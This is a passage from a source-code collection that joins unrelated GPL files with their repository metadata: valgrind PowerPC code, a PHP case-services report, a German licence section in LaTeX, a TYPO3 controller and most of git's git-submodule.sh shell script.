PPCAMode_IR(offs_Host_EvC_Counter, hregPPC_GPR31(mode64)); amFailAddr = PPCAMode_IR(offs_Host_EvC_FailAddr, hregPPC_GPR31(mode64)); addInstr(env, PPCInstr_EvCheck(amCounter, amFailAddr)); if (addProfInc) { addInstr(env, PPCInstr_ProfInc()); } for (i = 0; i < bb->stmts_used; i++) iselStmt(env, bb->stmts[i]); iselNext(env, bb->next, bb->jumpkind, bb->offsIP); env->code->n_vregs = env->vreg_ctr; return env->code; }
qtekfun/htcDesire820Kernel
external/valgrind/main/VEX/priv/host_ppc_isel.c
C
gpl-2.0
151,543
<?php chdir('../../'); require_once ('pika-danio.php'); pika_init(); $report_title = 'LSC Interim Case Services'; $report_name = "lsc_interim"; $base_url = pl_settings_get('base_url'); if(!pika_report_authorize($report_name)) { $main_html = array(); $main_html['base_url'] = $base_url; $main_html['page_title'] = $report_title; $main_html['nav'] = "<a href=\"{$base_url}/\">Pika Home</a> &gt; <a href=\"{$base_url}/reports/\">Reports</a> &gt; $report_title"; $main_html['content'] = "You are not authorized to run this report"; $buffer = pl_template('templates/default.html', $main_html); pika_exit($buffer); } $report_format = pl_grab_get('report_format'); $close_date_begin = pl_grab_get('close_date_begin'); $close_date_end = pl_grab_get('close_date_end'); $open_on_date = pl_grab_get('open_on_date'); $funding = pl_grab_get('funding'); $office = pl_grab_get('office'); $status = pl_grab_get('status'); $county = pl_grab_get('county'); $gender = pl_grab_get('gender'); $undup = pl_grab_get('undup'); $calendar_year = pl_grab_get('calendar_year'); $clean_calendar_year = mysql_real_escape_string($calendar_year); $show_sql = pl_grab_get('show_sql'); $menu_undup = pl_menu_get('undup'); if ('csv' == $report_format) { require_once ('app/lib/plCsvReportTable.php'); require_once ('app/lib/plCsvReport.php'); $t = new plCsvReport(); } else { require_once ('app/lib/plHtmlReportTable.php'); require_once ('app/lib/plHtmlReport.php'); $t = new plHtmlReport(); } // run the report $clb = $clean_calendar_year . "-01-01"; $cle = $clean_calendar_year . "-06-30"; $ood = $clean_calendar_year . "-06-30"; $eth_sql = "SELECT SUBSTRING(LPAD(problem, 2, '0'),1,1) AS category, SUM(IF(close_code IN ('A', 'B'), 1, 0)) AS 'Cases Closed after Limited Service', SUM(IF(close_code IN ('F', 'G', 'H', 'IA', 'IB', 'IC', 'K', 'L'), 1, 0)) AS 'Cases Closed after Extended Service', SUM(IF(ISNULL(close_date) OR close_date > '{$clean_calendar_year}-06-30', 1, 0)) AS 'Cases Remaining Open on June 30' FROM cases WHERE status='2'"; // handle the crazy date range selection $range1 = $range2 = ""; $sql = ''; $safe_clb = mysql_real_escape_string($clb); $safe_cle = mysql_real_escape_string($cle); $safe_ood = mysql_real_escape_string($ood); if ($clb && $cle) { //$t->add_parameter('Closed Between', $safe_clb . " - " . $safe_cle); $range1 = "close_date >= '{$safe_clb}' AND close_date <= '{$safe_cle}'"; } elseif ($clb) { //$t->add_parameter('Closed After', $safe_clb); $range1 = "close_date >= '{$safe_clb}'"; } elseif ($cle) { //$t->add_parameter('Closed Before', $safe_cle); $range1 = "close_date <= '{$safe_cle}'"; } if ($ood) { //$t->add_parameter('Open On', $safe_ood); $range2 = "(open_date <= '{$safe_ood}' AND (close_date IS NULL OR close_date > '{$safe_ood}'))"; } if ($ood) { if ($clb || $cle) { $sql .= " AND (($range1) OR $range2)"; } else { $sql .= " AND $range2"; } } else { if ($clb || $cle) { $sql .= " AND $range1"; } } // Other filters $x = pl_process_comma_vals($funding); if ($x != false) { $t->add_parameter('Funding Code(s)',$funding); $sql .= " AND funding IN $x"; } $x = pl_process_comma_vals($office); if ($x != false) { $t->add_parameter('Office Code(s)',$office); $sql .= " AND office IN $x"; } $x = pl_process_comma_vals($status); if ($x != false) { $t->add_parameter('Case Status Code(s)',$status); $sql .= " AND status IN $x"; } $x = pl_process_comma_vals($county); if ($x != false) { $t->add_parameter('Counties',$county); $sql .= " AND county IN $x"; } if ($gender) { $t->add_parameter('Gender Code',$gender); $safe_gender = mysql_real_escape_string($gender); $sql .= " AND gender='{$safe_gender}'"; } if ($undup == 1 || ($undup == 0 && $undup != '')) { $t->add_parameter('Undup Service',pl_array_lookup($undup,$menu_undup)); $safe_undup = mysql_real_escape_string($undup); $sql .= " AND undup = '{$safe_undup}'"; } $eth_sql .= $sql . " GROUP BY category"; $t->title = $report_title; $t->set_table_title("Form G-1: Interim Case Services"); $t->display_row_count(false); $t->set_header(array('Category','Cases Closed after Limited Service','Cases Closed after Extended Service','Cases Remaining Open on June 30')); $t->add_parameter('Cases open between', $safe_clb . " - " . $safe_cle); $t->add_parameter('Status Codes', "2, 5"); $t->add_parameter('Limited Service Closing Codes', 'A, B'); $t->add_parameter('Extended Service Closing Codes', 'F, G, H, IA, IB, IC, K, L'); $t->add_parameter('Funding', $funding); $total = array(); $total['code'] = ""; $total['category'] = ""; $total["A"] = "0"; $total["B"] = "0"; $total["C"] = "0"; $total["D"] = "0"; $total["total"] = "0"; $result = mysql_query($eth_sql) or trigger_error(); while ($row = mysql_fetch_assoc($result)) { $t->add_row($row); $total["A"] += $row["Under 18"]; $total["B"] += $row["18 to 59"]; $total["C"] += $row["60 and Older"]; $total["D"] += $row["No Age Data"]; $total["total"] += $row["Total"]; } //$t->add_row($total); if($show_sql) { $t->set_sql($eth_sql); } // Add the PAI table $t->add_table(); $t->set_table_title("Form G-1(d): Interim Case Services (PAI)"); $t->display_row_count(false); $t->set_header(array('Category', 'Cases Closed after Limited Service','Cases Closed after Extended Service','Cases Remaining Open on June 30')); $pai_sql = "SELECT SUBSTRING(LPAD(problem, 2, '0'),1,1) AS category, SUM(IF(close_code IN ('A', 'B'), 1, 0)) AS 'Cases Closed after Limited Service', SUM(IF(close_code IN ('F', 'G', 'H', 'IA', 'IB', 'IC', 'K', 'L'), 1, 0)) AS 'Cases Closed after Extended Service', SUM(IF(ISNULL(close_date) OR close_date > '{$clean_calendar_year}-06-30', 1, 0)) AS 'Cases Remaining Open on June 30' FROM cases WHERE status='5'" . $sql . " GROUP BY category"; $result = mysql_query($pai_sql) or trigger_error(); while ($row = mysql_fetch_assoc($result)) { $t->add_row($row); } //$t->add_row($total); if($show_sql) { $t->set_sql($pai_sql); } $t->display(); exit(); ?>
brianlawlor/ocm
blawlor/reports/lsc_interim/report.php
PHP
gpl-2.0
6,045
\section{Open Source und Lizenz}\label{open-source-und-lizenz} \subsection{Open Source}\label{open-source} Die Ersteller der App arbeiten alle mit Linux und unterstützen dessen Philosophie der freien Weitergabe von (Quell)offener Software.\\Da der Quelltext der App teil der Bewertungsgrundlage ist und wir die Plattform Github verwenden war Open Source von Anfang an Teil des Entwicklungskonzeptes.\\Das erleichtert nicht nur die kooperative Arbeit an der App sondern bietet auch anderen Menschen die Möglichkeit den von uns erstellten Quellcode zum Lernen zu nutzen und weiterzuentwickeln. \subsubsection{Lizenz}\label{lizenz} Wir haben uns für die GPLv2 (GNU General Public License) entschieden, welche die Nutzung, Bearbeitung und Weitergabe des von uns erstellen Quellcodes regelt.\\Die GPLv2 existiert bereits seit 1991 und ist einer der am weitesten verbreiteten Softwarelizenzen für freie Software. Sie gestattet es dem Lizenznehmer die Software frei zu verwenden, bearbeiten und weiterzuverbreiten. Sie verpflichtet den Lizenznehmer dabei die Software nur mit dem selbigen Lizenzmodell weiterzugeben was eine kommerzielle Nutzung unseres Quellcodes weitestgehend ausschließt.
NeAn-nodejs-dashboard/doc
md2tex/tex/02_5-license.md.tex
TeX
gpl-2.0
1,194
<?php namespace Gh\Gloggiheime\Controller; use FluidTYPO3\Flux\Controller\AbstractFluxController; /** * My custom ContentController to render my package's Content templates. * * @package Gloggiheime * @subpackage Controller */ class ContentController extends AbstractFluxController { /** * bookingRepository * * @var \Gh\Gloggiheime\Domain\Repository\BookingRepository * @inject */ protected $bookingRepository = NULL; /** * heimeRepository * * @var \Gh\Gloggiheime\Domain\Repository\HeimeRepository * @inject */ protected $heimeRepository = NULL; public function bookingAction() { // Fix for stupid Extbase Persistency problems in Repository $ext_conf = $this->getData(); $heim_id = $ext_conf[settings][flexform][heim_id]; $end_date_months = $ext_conf[settings][flexform][monate]; $heime = $this->heimeRepository->findAll(); $this->view->assign('heime', $heime); // $bookings = $this->bookingRepository->findAll(); // $this->view->assign('bookings', $bookings); $query = $this->bookingRepository->createQuery(); $date_start = new \DateTime('-1 month'); // $date_end = new \DateTime('+'.end_date_months.' month'); $query->matching( $query->greaterThanOrEqual('from_booking', $date_start->format('Y-m-d H:i:s')) ); debug($query); $bookings = $query->execute(); $this->view->assign('bookings', $bookings); $heim = $this->heimeRepository->findByUid($heim_id); $this->view->assign('selectedheim', $heim); } public function preiseAction() { // print($this); $heime = $this->heimeRepository->findAll(); $this->view->assign('heime', $heime); } public function mapAction() { $ext_conf = $this->getData(); $heim_id = $ext_conf[settings][flexform][heim_id]; $heimsingle = $this->heimeRepository->findByUid($heim_id); $this->view->assign('heimsingle', $heimsingle); // print($this); $heime = $this->heimeRepository->findAll(); $this->view->assign('heime', $heime); } public function detailsAction() { $ext_conf = $this->getData(); $heim_id = $ext_conf[settings][flexform][heim_id]; $heim = $this->heimeRepository->findByUid($heim_id); $this->view->assign('heim', $heim); } } ?>
boris85/gloggiheime
Classes/Controller/ContentController.php
PHP
gpl-2.0
2,227
#!/bin/sh # # git-submodule.sh: add, init, update or list git submodules # # Copyright (c) 2007 Lars Hjemli dashless=$(basename "$0" | sed -e 's/-/ /') USAGE="[--quiet] add [-b <branch>] [-f|--force] [--name <name>] [--reference <repository>] [--] <repository> [<path>] or: $dashless [--quiet] status [--cached] [--recursive] [--] [<path>...] or: $dashless [--quiet] init [--] [<path>...] or: $dashless [--quiet] deinit [-f|--force] (--all| [--] <path>...) or: $dashless [--quiet] update [--init] [--remote] [-N|--no-fetch] [-f|--force] [--checkout|--merge|--rebase] [--[no-]recommend-shallow] [--reference <repository>] [--recursive] [--] [<path>...] or: $dashless [--quiet] summary [--cached|--files] [--summary-limit <n>] [commit] [--] [<path>...] or: $dashless [--quiet] foreach [--recursive] <command> or: $dashless [--quiet] sync [--recursive] [--] [<path>...] or: $dashless [--quiet] absorbgitdirs [--] [<path>...]" OPTIONS_SPEC= SUBDIRECTORY_OK=Yes . git-sh-setup . git-parse-remote require_work_tree wt_prefix=$(git rev-parse --show-prefix) cd_to_toplevel # Tell the rest of git that any URLs we get don't come # directly from the user, so it can apply policy as appropriate. GIT_PROTOCOL_FROM_USER=0 export GIT_PROTOCOL_FROM_USER command= branch= force= reference= cached= recursive= init= files= remote= nofetch= update= prefix= custom_name= depth= progress= die_if_unmatched () { if test "$1" = "#unmatched" then exit ${2:-1} fi } # # Print a submodule configuration setting # # $1 = submodule name # $2 = option name # $3 = default value # # Checks in the usual git-config places first (for overrides), # otherwise it falls back on .gitmodules. This allows you to # distribute project-wide defaults in .gitmodules, while still # customizing individual repositories if necessary. If the option is # not in .gitmodules either, print a default value. # get_submodule_config () { name="$1" option="$2" default="$3" value=$(git config submodule."$name"."$option") if test -z "$value" then value=$(git config -f .gitmodules submodule."$name"."$option") fi printf '%s' "${value:-$default}" } isnumber() { n=$(($1 + 0)) 2>/dev/null && test "$n" = "$1" } # Sanitize the local git environment for use within a submodule. We # can't simply use clear_local_git_env since we want to preserve some # of the settings from GIT_CONFIG_PARAMETERS. sanitize_submodule_env() { save_config=$GIT_CONFIG_PARAMETERS clear_local_git_env GIT_CONFIG_PARAMETERS=$save_config export GIT_CONFIG_PARAMETERS } # # Add a new submodule to the working tree, .gitmodules and the index # # $@ = repo path # # optional branch is stored in global branch variable # cmd_add() { # parse $args after "submodule ... add". reference_path= while test $# -ne 0 do case "$1" in -b | --branch) case "$2" in '') usage ;; esac branch=$2 shift ;; -f | --force) force=$1 ;; -q|--quiet) GIT_QUIET=1 ;; --reference) case "$2" in '') usage ;; esac reference_path=$2 shift ;; --reference=*) reference_path="${1#--reference=}" ;; --name) case "$2" in '') usage ;; esac custom_name=$2 shift ;; --depth) case "$2" in '') usage ;; esac depth="--depth=$2" shift ;; --depth=*) depth=$1 ;; --) shift break ;; -*) usage ;; *) break ;; esac shift done if test -n "$reference_path" then is_absolute_path "$reference_path" || reference_path="$wt_prefix$reference_path" reference="--reference=$reference_path" fi repo=$1 sm_path=$2 if test -z "$sm_path"; then sm_path=$(printf '%s\n' "$repo" | sed -e 's|/$||' -e 's|:*/*\.git$||' -e 's|.*[/:]||g') fi if test -z "$repo" || test -z "$sm_path"; then usage fi is_absolute_path "$sm_path" || sm_path="$wt_prefix$sm_path" # assure repo is absolute or relative to parent case "$repo" in ./*|../*) test -z "$wt_prefix" || die "$(gettext "Relative path can only be used from the toplevel of the working tree")" # dereference source url relative to parent's url realrepo=$(git submodule--helper resolve-relative-url "$repo") || exit ;; *:*|/*) # absolute url realrepo=$repo ;; *) die "$(eval_gettext "repo URL: '\$repo' must be absolute or begin with ./|../")" ;; esac # normalize path: # multiple //; leading ./; /./; /../; trailing / sm_path=$(printf '%s/\n' "$sm_path" | sed -e ' s|//*|/|g s|^\(\./\)*|| s|/\(\./\)*|/|g :start s|\([^/]*\)/\.\./|| tstart s|/*$|| ') if test -z "$force" then git ls-files --error-unmatch "$sm_path" > /dev/null 2>&1 && die "$(eval_gettext "'\$sm_path' already exists in the index")" else git ls-files -s "$sm_path" | sane_grep -v "^160000" > /dev/null 2>&1 && die "$(eval_gettext "'\$sm_path' already exists in the index and is not a submodule")" fi if test -z "$force" && ! git add --dry-run --ignore-missing "$sm_path" > /dev/null 2>&1 then eval_gettextln "The following path is ignored by one of your .gitignore files: \$sm_path Use -f if you really want to add it." >&2 exit 1 fi if test -n "$custom_name" then sm_name="$custom_name" else sm_name="$sm_path" fi # perhaps the path exists and is already a git repo, else clone it if test -e "$sm_path" then if test -d "$sm_path"/.git || test -f "$sm_path"/.git then eval_gettextln "Adding existing repo at '\$sm_path' to the index" else die "$(eval_gettext "'\$sm_path' already exists and is not a valid git repo")" fi else if test -d ".git/modules/$sm_name" then if test -z "$force" then eval_gettextln >&2 "A git directory for '\$sm_name' is found locally with remote(s):" GIT_DIR=".git/modules/$sm_name" GIT_WORK_TREE=. git remote -v | grep '(fetch)' | sed -e s,^," ", -e s,' (fetch)',, >&2 die "$(eval_gettextln "\ If you want to reuse this local git directory instead of cloning again from \$realrepo use the '--force' option. If the local git directory is not the correct repo or you are unsure what this means choose another name with the '--name' option.")" else eval_gettextln "Reactivating local git directory for submodule '\$sm_name'." fi fi git submodule--helper clone ${GIT_QUIET:+--quiet} --prefix "$wt_prefix" --path "$sm_path" --name "$sm_name" --url "$realrepo" ${reference:+"$reference"} ${depth:+"$depth"} || exit ( sanitize_submodule_env cd "$sm_path" && # ash fails to wordsplit ${branch:+-b "$branch"...} case "$branch" in '') git checkout -f -q ;; ?*) git checkout -f -q -B "$branch" "origin/$branch" ;; esac ) || die "$(eval_gettext "Unable to checkout submodule '\$sm_path'")" fi git config submodule."$sm_name".url "$realrepo" git add $force "$sm_path" || die "$(eval_gettext "Failed to add submodule '\$sm_path'")" git config -f .gitmodules submodule."$sm_name".path "$sm_path" && git config -f .gitmodules submodule."$sm_name".url "$repo" && if test -n "$branch" then git config -f .gitmodules submodule."$sm_name".branch "$branch" fi && git add --force .gitmodules || die "$(eval_gettext "Failed to register submodule '\$sm_path'")" } # # Execute an arbitrary command sequence in each checked out # submodule # # $@ = command to execute # cmd_foreach() { # parse $args after "submodule ... foreach". while test $# -ne 0 do case "$1" in -q|--quiet) GIT_QUIET=1 ;; --recursive) recursive=1 ;; -*) usage ;; *) break ;; esac shift done toplevel=$(pwd) # dup stdin so that it can be restored when running the external # command in the subshell (and a recursive call to this function) exec 3<&0 { git submodule--helper list --prefix "$wt_prefix" || echo "#unmatched" $? } | while read mode sha1 stage sm_path do die_if_unmatched "$mode" "$sha1" if test -e "$sm_path"/.git then displaypath=$(git submodule--helper relative-path "$prefix$sm_path" "$wt_prefix") say "$(eval_gettext "Entering '\$displaypath'")" name=$(git submodule--helper name "$sm_path") ( prefix="$prefix$sm_path/" sanitize_submodule_env cd "$sm_path" && sm_path=$(git submodule--helper relative-path "$sm_path" "$wt_prefix") && # we make $path available to scripts ... path=$sm_path && if test $# -eq 1 then eval "$1" else "$@" fi && if test -n "$recursive" then cmd_foreach "--recursive" "$@" fi ) <&3 3<&- || die "$(eval_gettext "Stopping at '\$displaypath'; script returned non-zero status.")" fi done } # # Register submodules in .git/config # # $@ = requested paths (default to all) # cmd_init() { # parse $args after "submodule ... init". while test $# -ne 0 do case "$1" in -q|--quiet) GIT_QUIET=1 ;; --) shift break ;; -*) usage ;; *) break ;; esac shift done git ${wt_prefix:+-C "$wt_prefix"} ${prefix:+--super-prefix "$prefix"} submodule--helper init ${GIT_QUIET:+--quiet} "$@" } # # Unregister submodules from .git/config and remove their work tree # cmd_deinit() { # parse $args after "submodule ... deinit". deinit_all= while test $# -ne 0 do case "$1" in -f|--force) force=$1 ;; -q|--quiet) GIT_QUIET=1 ;; --all) deinit_all=t ;; --) shift break ;; -*) usage ;; *) break ;; esac shift done if test -n "$deinit_all" && test "$#" -ne 0 then echo >&2 "$(eval_gettext "pathspec and --all are incompatible")" usage fi if test $# = 0 && test -z "$deinit_all" then die "$(eval_gettext "Use '--all' if you really want to deinitialize all submodules")" fi { git submodule--helper list --prefix "$wt_prefix" "$@" || echo "#unmatched" $? } | while read mode sha1 stage sm_path do die_if_unmatched "$mode" "$sha1" name=$(git submodule--helper name "$sm_path") || exit displaypath=$(git submodule--helper relative-path "$sm_path" "$wt_prefix") # Remove the submodule work tree (unless the user already did it) if test -d "$sm_path" then # Protect submodules containing a .git directory if test -d "$sm_path/.git" then die "$(eval_gettext "\ Submodule work tree '\$displaypath' contains a .git directory (use 'rm -rf' if you really want to remove it including all of its history)")" fi if test -z "$force" then git rm -qn "$sm_path" || die "$(eval_gettext "Submodule work tree '\$displaypath' contains local modifications; use '-f' to discard them")" fi rm -rf "$sm_path" && say "$(eval_gettext "Cleared directory '\$displaypath'")" || say "$(eval_gettext "Could not remove submodule work tree '\$displaypath'")" fi mkdir "$sm_path" || say "$(eval_gettext "Could not create empty submodule directory '\$displaypath'")" # Remove the .git/config entries (unless the user already did it) if test -n "$(git config --get-regexp submodule."$name\.")" then # Remove the whole section so we have a clean state when # the user later decides to init this submodule again url=$(git config submodule."$name".url) git config --remove-section submodule."$name" 2>/dev/null && say "$(eval_gettext "Submodule '\$name' (\$url) unregistered for path '\$displaypath'")" fi done } is_tip_reachable () ( sanitize_submodule_env && cd "$1" && rev=$(git rev-list -n 1 "$2" --not --all 2>/dev/null) && test -z "$rev" ) fetch_in_submodule () ( sanitize_submodule_env && cd "$1" && case "$2" in '') git fetch ;; *) shift git fetch $(get_default_remote) "$@" ;; esac ) # # Update each submodule path to correct revision, using clone and checkout as needed # # $@ = requested paths (default to all) # cmd_update() { # parse $args after "submodule ... update". while test $# -ne 0 do case "$1" in -q|--quiet) GIT_QUIET=1 ;; --progress) progress="--progress" ;; -i|--init) init=1 ;; --remote) remote=1 ;; -N|--no-fetch) nofetch=1 ;; -f|--force) force=$1 ;; -r|--rebase) update="rebase" ;; --reference) case "$2" in '') usage ;; esac reference="--reference=$2" shift ;; --reference=*) reference="$1" ;; -m|--merge) update="merge" ;; --recursive) recursive=1 ;; --checkout) update="checkout" ;; --recommend-shallow) recommend_shallow="--recommend-shallow" ;; --no-recommend-shallow) recommend_shallow="--no-recommend-shallow" ;; --depth) case "$2" in '') usage ;; esac depth="--depth=$2" shift ;; --depth=*) depth=$1 ;; -j|--jobs) case "$2" in '') usage ;; esac jobs="--jobs=$2" shift ;; --jobs=*) jobs=$1 ;; --) shift break ;; -*) usage ;; *) break ;; esac shift done if test -n "$init" then cmd_init "--" "$@" || return fi { git submodule--helper update-clone ${GIT_QUIET:+--quiet} \ ${progress:+"$progress"} \ ${wt_prefix:+--prefix "$wt_prefix"} \ ${prefix:+--recursive-prefix "$prefix"} \ ${update:+--update "$update"} \ ${reference:+"$reference"} \ ${depth:+--depth "$depth"} \ ${recommend_shallow:+"$recommend_shallow"} \ ${jobs:+$jobs} \ "$@" || echo "#unmatched" $? } | { err= while read mode sha1 stage just_cloned sm_path do die_if_unmatched "$mode" "$sha1" name=$(git submodule--helper name "$sm_path") || exit url=$(git config submodule."$name".url) if ! test -z "$update" then update_module=$update else update_module=$(git config submodule."$name".update) if test -z "$update_module" then update_module="checkout" fi fi displaypath=$(git submodule--helper relative-path "$prefix$sm_path" "$wt_prefix") if test $just_cloned -eq 1 then subsha1= update_module=checkout else subsha1=$(sanitize_submodule_env; cd "$sm_path" && git rev-parse --verify HEAD) || die "$(eval_gettext "Unable to find current revision in submodule path '\$displaypath'")" fi if test -n "$remote" then branch=$(git submodule--helper remote-branch "$sm_path") if test -z "$nofetch" then # Fetch remote before determining tracking $sha1 fetch_in_submodule "$sm_path" $depth || die "$(eval_gettext "Unable to fetch in submodule path '\$sm_path'")" fi remote_name=$(sanitize_submodule_env; cd "$sm_path" && get_default_remote) sha1=$(sanitize_submodule_env; cd "$sm_path" && git rev-parse --verify "${remote_name}/${branch}") || die "$(eval_gettext "Unable to find current \${remote_name}/\${branch} revision in submodule path '\$sm_path'")" fi if test "$subsha1" != "$sha1" || test -n "$force" then subforce=$force # If we don't already have a -f flag and the submodule has never been checked out if test -z "$subsha1" && test -z "$force" then subforce="-f" fi if test -z "$nofetch" then # Run fetch only if $sha1 isn't present or it # is not reachable from a ref. is_tip_reachable "$sm_path" "$sha1" || fetch_in_submodule "$sm_path" $depth || die "$(eval_gettext "Unable to fetch in submodule path '\$displaypath'")" # Now we tried the usual fetch, but $sha1 may # not be reachable from any of the refs is_tip_reachable "$sm_path" "$sha1" || fetch_in_submodule "$sm_path" $depth "$sha1" || die "$(eval_gettext "Fetched in submodule path '\$displaypath', but it did not contain \$sha1. Direct fetching of that commit failed.")" fi must_die_on_failure= case "$update_module" in checkout) command="git checkout $subforce -q" die_msg="$(eval_gettext "Unable to checkout '\$sha1' in submodule path '\$displaypath'")" say_msg="$(eval_gettext "Submodule path '\$displaypath': checked out '\$sha1'")" ;; rebase) command="git rebase" die_msg="$(eval_gettext "Unable to rebase '\$sha1' in submodule path '\$displaypath'")" say_msg="$(eval_gettext "Submodule path '\$displaypath': rebased into '\$sha1'")" must_die_on_failure=yes ;; merge) command="git merge" die_msg="$(eval_gettext "Unable to merge '\$sha1' in submodule path '\$displaypath'")" say_msg="$(eval_gettext "Submodule path '\$displaypath': merged in '\$sha1'")" must_die_on_failure=yes ;; !*) command="${update_module#!}" die_msg="$(eval_gettext "Execution of '\$command \$sha1' failed in submodule path '\$displaypath'")" say_msg="$(eval_gettext "Submodule path '\$displaypath': '\$command \$sha1'")" must_die_on_failure=yes ;; *) die "$(eval_gettext "Invalid update mode '$update_module' for submodule '$name'")" esac if (sanitize_submodule_env; cd "$sm_path" && $command "$sha1") then say "$say_msg" elif test -n "$must_die_on_failure" then die_with_status 2 "$die_msg" else err="${err};$die_msg" continue fi fi if test -n "$recursive" then ( prefix=$(git submodule--helper relative-path "$prefix$sm_path/" "$wt_prefix") wt_prefix= sanitize_submodule_env cd "$sm_path" && eval cmd_update ) res=$? if test $res -gt 0 then die_msg="$(eval_gettext "Failed to recurse into submodule path '\$displaypath'")" if test $res -ne 2 then err="${err};$die_msg" continue else die_with_status $res "$die_msg" fi fi fi done if test -n "$err" then OIFS=$IFS IFS=';' for e in $err do if test -n "$e" then echo >&2 "$e" fi done IFS=$OIFS exit 1 fi } } set_name_rev () { revname=$( ( sanitize_submodule_env cd "$1" && { git describe "$2" 2>/dev/null || git describe --tags "$2" 2>/dev/null || git describe --contains "$2" 2>/dev/null || git describe --all --always "$2" } ) ) test -z "$revname" || revname=" ($revname)" } # # Show commit summary for submodules in index or working tree # # If '--cached' is given, show summary between index and given commit, # or between working tree and given commit # # $@ = [commit (default 'HEAD'),] requested paths (default all) # cmd_summary() { summary_limit=-1 for_status= diff_cmd=diff-index # parse $args after "submodule ... summary". while test $# -ne 0 do case "$1" in --cached) cached="$1" ;; --files) files="$1" ;; --for-status) for_status="$1" ;; -n|--summary-limit) summary_limit="$2" isnumber "$summary_limit" || usage shift ;; --summary-limit=*) summary_limit="${1#--summary-limit=}" isnumber "$summary_limit" || usage ;; --) shift break ;; -*) usage ;; *) break ;; esac shift done test $summary_limit = 0 && return if rev=$(git rev-parse -q --verify --default HEAD ${1+"$1"}) then head=$rev test $# = 0 || shift elif test -z "$1" || test "$1" = "HEAD" then # before the first commit: compare with an empty tree head=$(git hash-object -w -t tree --stdin </dev/null) test -z "$1" || shift else head="HEAD" fi if [ -n "$files" ] then test -n "$cached" && die "$(gettext "The --cached option cannot be used with the --files option")" diff_cmd=diff-files head= fi cd_to_toplevel eval "set $(git rev-parse --sq --prefix "$wt_prefix" -- "$@")" # Get modified modules cared by user modules=$(git $diff_cmd $cached --ignore-submodules=dirty --raw $head -- "$@" | sane_egrep '^:([0-7]* )?160000' | while read mod_src mod_dst sha1_src sha1_dst status sm_path do # Always show modules deleted or type-changed (blob<->module) if test "$status" = D || test "$status" = T then printf '%s\n' "$sm_path" continue fi # Respect the ignore setting for --for-status. if test -n "$for_status" then name=$(git submodule--helper name "$sm_path") ignore_config=$(get_submodule_config "$name" ignore none) test $status != A && test $ignore_config = all && continue fi # Also show added or modified modules which are checked out GIT_DIR="$sm_path/.git" git-rev-parse --git-dir >/dev/null 2>&1 && printf '%s\n' "$sm_path" done ) test -z "$modules" && return git $diff_cmd $cached --ignore-submodules=dirty --raw $head -- $modules | sane_egrep '^:([0-7]* )?160000' | cut -c2- | while read mod_src mod_dst sha1_src sha1_dst status name do if test -z "$cached" && test $sha1_dst = 0000000000000000000000000000000000000000 then case "$mod_dst" in 160000) sha1_dst=$(GIT_DIR="$name/.git" git rev-parse HEAD) ;; 100644 | 100755 | 120000) sha1_dst=$(git hash-object $name) ;; 000000) ;; # removed *) # unexpected type eval_gettextln "unexpected mode \$mod_dst" >&2 continue ;; esac fi missing_src= missing_dst= test $mod_src = 160000 && ! GIT_DIR="$name/.git" git-rev-parse -q --verify $sha1_src^0 >/dev/null && missing_src=t test $mod_dst = 160000 && ! GIT_DIR="$name/.git" git-rev-parse -q --verify $sha1_dst^0 >/dev/null && missing_dst=t display_name=$(git submodule--helper relative-path "$name" "$wt_prefix") total_commits= case "$missing_src,$missing_dst" in t,) errmsg="$(eval_gettext " Warn: \$display_name doesn't contain commit \$sha1_src")" ;; ,t) errmsg="$(eval_gettext " Warn: \$display_name doesn't contain commit \$sha1_dst")" ;; t,t) errmsg="$(eval_gettext " Warn: \$display_name doesn't contain commits \$sha1_src and \$sha1_dst")" ;; *) errmsg= total_commits=$( if test $mod_src = 160000 && test $mod_dst = 160000 then range="$sha1_src...$sha1_dst" elif test $mod_src = 160000 then range=$sha1_src else range=$sha1_dst fi GIT_DIR="$name/.git" \ git rev-list --first-parent $range -- | wc -l ) total_commits=" ($(($total_commits + 0)))" ;; esac sha1_abbr_src=$(echo $sha1_src | cut -c1-7) sha1_abbr_dst=$(echo $sha1_dst | cut -c1-7) if test $status = T then blob="$(gettext "blob")" submodule="$(gettext "submodule")" if test $mod_dst = 160000 then echo "* $display_name $sha1_abbr_src($blob)->$sha1_abbr_dst($submodule)$total_commits:" else echo "* $display_name $sha1_abbr_src($submodule)->$sha1_abbr_dst($blob)$total_commits:" fi else echo "* $display_name $sha1_abbr_src...$sha1_abbr_dst$total_commits:" fi if test -n "$errmsg" then # Don't give error msg for modification whose dst is not submodule # i.e. deleted or changed to blob test $mod_dst = 160000 && echo "$errmsg" else if test $mod_src = 160000 && test $mod_dst = 160000 then limit= test $summary_limit -gt 0 && limit="-$summary_limit" GIT_DIR="$name/.git" \ git log $limit --pretty='format: %m %s' \ --first-parent $sha1_src...$sha1_dst elif test $mod_dst = 160000 then GIT_DIR="$name/.git" \ git log --pretty='format: > %s' -1 $sha1_dst else GIT_DIR="$name/.git" \ git log --pretty='format: < %s' -1 $sha1_src fi echo fi echo done } # # List all submodules, prefixed with: # - submodule not initialized # + different revision checked out # # If --cached was specified the revision in the index will be printed # instead of the currently checked out revision. # # $@ = requested paths (default to all) # cmd_status() { # parse $args after "submodule ... status". while test $# -ne 0 do case "$1" in -q|--quiet) GIT_QUIET=1 ;; --cached) cached=1 ;; --recursive) recursive=1 ;; --) shift break ;; -*) usage ;; *) break ;; esac shift done { git submodule--helper list --prefix "$wt_prefix" "$@" || echo "#unmatched" $? } | while read mode sha1 stage sm_path do die_if_unmatched "$mode" "$sha1" name=$(git submodule--helper name "$sm_path") || exit url=$(git config submodule."$name".url) displaypath=$(git submodule--helper relative-path "$prefix$sm_path" "$wt_prefix") if test "$stage" = U then say "U$sha1 $displaypath" continue fi if test -z "$url" || { ! test -d "$sm_path"/.git && ! test -f "$sm_path"/.git } then say "-$sha1 $displaypath" continue; fi if git diff-files --ignore-submodules=dirty --quiet -- "$sm_path" then set_name_rev "$sm_path" "$sha1" say " $sha1 $displaypath$revname" else if test -z "$cached" then sha1=$(sanitize_submodule_env; cd "$sm_path" && git rev-parse --verify HEAD) fi set_name_rev "$sm_path" "$sha1" say "+$sha1 $displaypath$revname" fi if test -n "$recursive" then ( prefix="$displaypath/" sanitize_submodule_env wt_prefix= cd "$sm_path" && eval cmd_status ) || die "$(eval_gettext "Failed to recurse into submodule path '\$sm_path'")" fi done } # # Sync remote urls for submodules # This makes the value for remote.$remote.url match the value # specified in .gitmodules. # cmd_sync() { while test $# -ne 0 do case "$1" in -q|--quiet) GIT_QUIET=1 shift ;; --recursive) recursive=1 shift ;; --) shift break ;; -*) usage ;; *) break ;; esac done cd_to_toplevel { git submodule--helper list --prefix "$wt_prefix" "$@" || echo "#unmatched" $? } | while read mode sha1 